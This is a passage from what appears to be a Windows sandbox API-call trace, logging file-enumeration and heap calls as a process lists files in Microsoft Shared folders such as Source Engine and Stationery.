cAlternateFileName="")) returned 1 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0086.069] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0086.069] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0086.069] GetProcessHeap () returned 0x470000 [0086.069] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0086.070] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0086.070] GetProcessHeap () returned 0x470000 [0086.070] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0086.070] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0086.070] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0086.071] GetProcessHeap () returned 0x470000 [0086.071] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0086.071] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0086.071] GetProcessHeap () returned 0x470000 [0086.071] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0086.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0086.271] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.271] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0086.271] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0086.271] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0086.271] GetProcessHeap () returned 0x470000 [0086.271] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0086.271] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0086.271] GetProcessHeap () returned 0x470000 [0086.271] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0086.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0088.002] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.227] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0088.228] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, 